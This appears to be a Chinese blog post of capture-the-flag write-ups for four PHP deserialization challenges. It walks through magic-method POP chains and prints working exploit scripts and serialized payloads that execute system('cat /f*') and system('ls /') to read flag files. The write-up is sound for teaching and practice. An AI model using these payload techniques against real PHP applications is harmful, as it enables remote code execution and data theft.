关于序列化与反序列化解题(2)

1、 [NISACTF 2022]babyserialize

分析发现定义一个类,里面为两个对象赋值并调用__wakeup()魔术方法,用if语句//检查 $this->fun 是否等于 "show_me_flag",如果是,则调用 hint() 函数。

当对象的方法不存在时,__call() 方法会被调用,

  1. __call($from, $val):这里将 $val[0] 赋值给 $this->fun

  2. __toString():输出 $this->fun 并返回空格字符串。

  3. 定义了一个 __invoke 方法,这是一种魔术方法,它允许对象以函数方式调用。在这个方法中,首先调用 checkcheck 函数检查 $this->txw4ever,然后使用 eval 执行 $this->txw4ever 的内容。

分别定义了两个类和其中的属性,__wakeup()是一个 PHP 魔术方法,当对象被反序列化时会自动调用。然后调用 $ext 对象的 nisa() 方法,并将当前对象的属性 $x 作为参数传递给 nisa() 方法。

__call($fun1,$arg)  PHP 魔术方法,当调用不存在的方法时会自动触发。然后将传递给方法的第一个参数($arg[0])赋值给 $this->huang->fun。

调用__toString()函数:

  • 将对象的 $this->su 属性赋值给局部变量 $bb
  • 调用 $bb 作为函数,并将其返回值作为字符串返回。


 在four这个类中定义了一个公有属性和一个私人属性并且分别为它们赋值,调用set()函数,在给不可访问的属性赋值时, __set() 会被调用。将fun属性的值设为sixsixsix,当 $this->fun 等于 "sixsixsix" 时,把 $this->a 中的所有字符转换成小写字母。接下来要检查是否存在名为 ser 的 GET 参数。如果存在,它会尝试对该参数的值进行反序列化;如果不存在,它会高亮显示当前文件的内容。

接下来打算构造pop链:

1、找到关键函数eval()函数。触发eval()可以考虑在此插入system命令(NISA类)

2、要触发eval()就需要触发__invoke()当尝试将对象调用为函数时触发_invoke(),(NISA类)

3、将对象的 $this->su 属性赋值给局部变量 $bb,调用 $bb 作为函数,并将其返回值作为字符串返回。达到_invoke()触发的条件,又需要触发__toString(NISA类)

4、__toString触发条件是将对象当做字符串对待,strtolower()函数将对象内容转换成字符串形式可触发(four类)

5、__toString触发意味着触发set()函数,在给不可访问的属性赋值时, __set() 会被调用

Ilovetxw::__call()中,将$huang构造成four对象,通过$this->huang->fun=$arg[0];对私有属性$fun进行设置值

6、触发Ilovetxw::__call():在TianXiWei::__wakeup()中,构造$ext为Ilovetxw对象

构造payload:

<?php

class NISA{
    public $fun;
    public $txw4ever;
}

class TianXiWei{
    public $ext;
    public $x;
   
}

class Ilovetxw{
    public $huang;
    public $su;

   
}

class four{
    public $a;
    private $fun;

   
}

$e = new NISA();
$e -> txw4ever = "System('cat /f*');";
$d = new Ilovetxw();
$d -> su = $e;
$c = new four();
$c -> a = $d;
$b = new Ilovetxw();
$b -> huang = $c;
$a = new TianXiWei();
$a -> ext = $b;

echo urlencode(serialize($a));

?>

?ser=O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22System%28%27cat+%2Ff%2A%27%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3BN%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

最后得到flag

2、[SWPUCTF 2022 新生赛]1z_unserialize

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

定义类lyh这个类,并在这个类中定义三个属性并未url这个属性赋值。__destruct()当对象被销毁时会自动调用,用$this->lt给$a赋值,将a作为函数调用,将$this->lly作为参数传给它。

就是构造的关键函数。

得到:

O:3:"lyh":3:{s:3:"url";N;s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

进行post传参。

得到这个页面后开始查找flag

3、[SWPUCTF 2022 新生赛]ez_ez_unserialize

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
} 

首先对于$x默认值是当前文件的路径(__FILE__)。构造函数 __construct($x)初始化对象时,将传入的参数 $x 赋值给属性 $x

魔术方法 __wakeup():当对象从序列化状态恢复时调用。如果 $this->x 不是当前文件的路径,则将其重置为当前文件的路径。

魔术方法 __destruct():对象销毁时调用,使用 highlight_file 函数显示 $this->x 文件的内容。最后检查 $_REQUEST['x'] 是否设置。如果设置了,则对其值进行反序列化操作。如果未设置 $_REQUEST['x'],则显示当前文件的内容。

关键函数是highlight_file(),

将x反序列化输出,flag在fllllllag.php文件里,所以要让fllllllag.php文件在x中,让x等于这个文件的序列化。但是前面还有wakeup函数,wakeup函数判断x是否等于当前文件目录,如果不等于,就使x等于当前文件目录。所以我们要想办法绕过wakeup函数。

首先执行查看内容需要触发__destruct()。意味着需要实例化对象触发__construct(),还需要绕过wakeup。构造payload:

得到  :O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

得到flag:

4、[MoeCTF 2021]unserialize

 <?php

class entrance
{
    public $start;

    function __construct($start)
    {
        $this->start = $start;
    }

    function __destruct()
    {
        $this->start->helloworld();
    }
}

class springboard
{
    public $middle;

    function __call($name, $arguments)
    {
        echo $this->middle->hs;
    }
}

class evil
{
    public $end;

    function __construct($end)
    {
        $this->end = $end;
    }

    function __get($Attribute)
    {
        eval($this->end);
    }
}

if(isset($_GET['serialize'])) {
    unserialize($_GET['serialize']);
} else {
    highlight_file(__FILE__);
} 

分析代码:定义了三个类,并对三个类分别作了处理

  1. entrance

    • 属性$start,在构造函数中初始化。
    • 方法
      • __construct($start):构造函数,接受一个参数并赋值给 $start
      • __destruct():析构函数,调用 $starthelloworld 方法。
  2. springboard

    • 属性$middle
    • 方法
      • __call($name, $arguments):魔术方法,当调用未定义的方法时触发,输出 $middlehs 属性。
  3. evil

    • 属性$end,在构造函数中初始化。
    • 方法
      • __construct($end):构造函数,接受一个参数并赋值给 $end
      • __get($Attribute):魔术方法,访问未定义或不可见的属性时触发,使用 eval 执行 $end

最后检查 $_GET['serialize'] 是否设置。如果设置了,则对其值进行反序列化操作。如果未设置 $_GET['serialize'],则显示当前文件的内容。

因为需要触发eval()函数,所以要触发__call方法,访问未定义或不可见的属性时触发,也就是需要访问evil不存在的属性,我们找到call,call的触发条件是调用不存在的方法,再找到destruct,触发它。

构造pop链:

<?php
class entrance
{
public $start;
}
 
class springboard
{
public $middle;
}
 
class evil
{
public $end;
}
 
$a = new entrance();
$a->start=new springboard();
$a->start->middle = new evil();
$a->start->middle->end = "system('ls /');";
$a = serialize($a);
echo $a;
?>

?serialize=O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:15:"system('ls /');";}}}

第一次构造的payload,查看flag位置

查到后可以直接用cat/flag输出flag

总结:php序列化与反序列化的题目在解题时一般先找eval()这种可以进行命令执行的关键函数,然后再用逆向思维退导需要触发的魔法方法,并以此作为依据构造pop链,得到payload。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/682905.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Threejs加载DOM+CSS到场景中,实现3D场景展示2D平面的效果

1. 前言 本篇文章主要实现了将DOM元素转换为Threejs可以使用的数据结构,使用CSS2DRenderer渲染器渲染这些DOMCSS的平面,使其可以作为一个物体添加到Threejs场景里 如下效果图: 2. 实现步骤 首先创建一个ThreejsVueVite的项目,作为本次的demo项目下载Threejs第三方库 yarn…

力扣hot100:25. K 个一组翻转链表

LeetCode&#xff1a;25. K 个一组翻转链表 这个题很像24. 两两交换链表中的节点 和 206. 反转链表 的合并体。 在力扣hot100&#xff1a;24. 两两交换链表中的节点中我们使用递归来实现这个问题是很方便的&#xff0c;使用迭代在k个结点一组时就不太好使了&#xff0c;我们可…

谷粒商城实战(032 业务-秒杀功能3)

Java项目《谷粒商城》架构师级Java项目实战&#xff0c;对标阿里P6-P7&#xff0c;全网最强 总时长 104:45:00 共408P 此文章包含第319p-第p325的内容 秒杀首页编写 预告秒杀信息 创建action请求 创建service 模糊查询 使用*号 ps:redis单线程&#xff0c;你用keys会阻塞一…

温补晶振TG5032SGN专用于无线通信设备应用

随着无线通信技术的快速发展&#xff0c;设备对时钟源的精度和稳定性的要求越来越高。爱普生温补晶振&#xff08;TCXO&#xff09;TG5032SGN因其优异的性能&#xff0c;成为无线通信设备中不可或缺的关键组件。TG5032SGN采用紧凑的封装设计&#xff0c;非常适合集成到各种无线…

Linux---进程/磁盘管理

文章目录 目录 文章目录 一.Linux中进程的概念 二.显示系统执行的进程 2.1: ps 命令 2.2 top 命令 三.终止进程 四.磁盘分区 一.Linux中进程的概念 在Linux中&#xff0c;进程是指操作系统中正在执行的程序的实例。每个进程都由操作系统分配了独立的内存空间&#xff0c;用于…

hadoop配置nfs,window映射nfs

1.修改hadoop配置如下内容,并同步到其它节点 core-site.xml新增配置项 <!-- 允许hadoop用户代理任何其它用户组 --><property><name>hadoop.proxyuser.hadoop.groups</name><value>*</value></property><!-- 允许代理任意服务器…

TypeScript的never类型的妙用

never类型介绍 在 TypeScript 中&#xff0c;"never" 是一个表示永远不会发生的值类型。 使用场景 "never" 类型通常用于以下几种情况&#xff1a; 1、函数返回类型&#xff1a;当一个函数永远不会返回任何值&#xff08;比如抛出异常或者无限循环&…

跟TED演讲学英文:Let your garden grow wild by Rebecca McMackin

Let your garden grow wild Link: https://www.ted.com/talks/rebecca_mcmackin_let_your_garden_grow_wild Speaker: Rebecca McMackin Date: October 2023 文章目录 Let your garden grow wildIntroductionVocabularySummaryTranscriptAfterword Introduction Many garden…

110、python-第四阶段-7-Socket服务端开发

服务端代码&#xff1a; 启动客户端工具 netAssist.exe&#xff0c;连接socket服务&#xff0c;如下&#xff0c;进行通信

声音突破:so 索

小孩儿看完武侠剧&#xff0c;就决定从二楼往地面上跳&#xff0c;年轻的老妈看到了&#xff0c;就在那里骂&#xff0c;喝斥不准逞能&#xff0c;不许乱来&#xff0c;不许跳。但小孩子不听话&#xff0c;心里全是影视剧的画面&#xff0c;那叫一个侠之能也&#xff0c;于是飞…

低代码平台适用于哪些行业 低代码开发平台行业应用案例

基于您的查询和提供的网络搜索结果&#xff0c;低代码开发平台在多个行业中都有广泛的应用案例。这些平台能够帮助企业快速构建应用程序&#xff0c;减少编码工作&#xff0c;提高开发效率和产品质量。下面是一些典型行业的低代码应用案例&#xff1a; 低代码平台行业应用场景 …

视频怎么压缩变小?推荐三个压缩方法

视频怎么压缩变小&#xff1f;在数字时代&#xff0c;视频已成为我们日常生活和工作中不可或缺的一部分。然而&#xff0c;随着视频质量的提升&#xff0c;视频文件的大小也随之增加&#xff0c;这给存储和分享带来了不小的挑战。幸运的是&#xff0c;市面上有许多视频压缩软件…

CUDA Unity Compute Shader 3

计划 这应该是第3章的读书笔记&#xff0c;但是因为第3章读起来比较困难&#xff0c;所以先看了《CUDA并行程序设计编程指南》的第5章和第6章&#xff0c;感觉读起来顺畅多了&#xff0c;《CUDA并行程序设计编程指南》暂定精读第5、6、7章 1.如何生成ptx文件 属性➔CUDA C/C➔…

鸿蒙轻内核M核源码分析系列六 任务及任务调度(3)任务调度模块

调度&#xff0c;Schedule也称为Dispatch&#xff0c;是操作系统的一个重要模块&#xff0c;它负责选择系统要处理的下一个任务。调度模块需要协调处于就绪状态的任务对资源的竞争&#xff0c;按优先级策略从就绪队列中获取高优先级的任务&#xff0c;给予资源使用权。本文我们…

java多线程原理

1.线程创建与启动&#xff1a;通过继承Thread类或实现Runnable接口创建线程&#xff0c;并调用start()方法启动线程。 1.线程状态&#xff1a;线程在其生命周期中有多种状态&#xff0c;包括新建、运行、阻塞、死亡等。了解这些状态以及如何在它们之间转换对于管理线程至关重要…

完美解决 mysql 报错ERROR 1524 (HY000): Plugin ‘mysql_native_password‘ is not loaded

文章目录 错误描述错误原因解决步骤 跟着我下面的步骤走&#xff0c;解决你的问题&#xff0c;如果解决不了 私信我来给你解决 错误描述 执行ALTER USER root% IDENTIFIED WITH mysql_native_password BY 123456;报错ERROR 1524 (HY000): Plugin mysql_native_password is not …

RPA实战演练UiBot6.0校园学生教评机器人

前言 校园学生教评机器人&#xff0c;也称为全自动校园教评RPA&#xff08;Robotic Process Automation&#xff0c;机器人流程自动化&#xff09;机器人&#xff0c;是一种利用软件机器人技术来模拟和执行学生教评流程中的各项任务和操作的智能化系统。以下是关于校园学生教评…

Mamba v2诞生:1 儒(Transformers)释(SSD)道(Mamba)本是一家?!

大模型技术论文不断&#xff0c;每个月总会新增上千篇。本专栏精选论文重点解读&#xff0c;主题还是围绕着行业实践和工程量产。若在某个环节出现卡点&#xff0c;可以回到大模型必备腔调或者LLM背后的基础模型新阅读。而最新科技&#xff08;Mamba,xLSTM,KAN&#xff09;则提…

因子区间[牛客周赛44]

思路分析: 我们可以发现125是因子个数的极限了,所以我们可以用二维数组来维护第几个数有几个因子,然后用前缀和算出来每个区间合法个数,通过一个排列和从num里面选2个 ,c num 2 来计算即可 #include<iostream> #include<cstring> #include<string> #include…

数据库中锁的机制和MVCC协议以及隔离级别

文章目录 数据库中的锁锁与索引的关系释放锁的时机乐观锁与悲观锁行锁与表锁共享锁与排它锁意向锁记录锁、间隙锁和临键锁记录锁间隙锁临键锁 锁优化方案 MVCC协议MySQL的隔离级别脏读和幻读快照读和当前读 版本链Read ViewRead View 与已提交读Read View 与可重复读m_up_limit…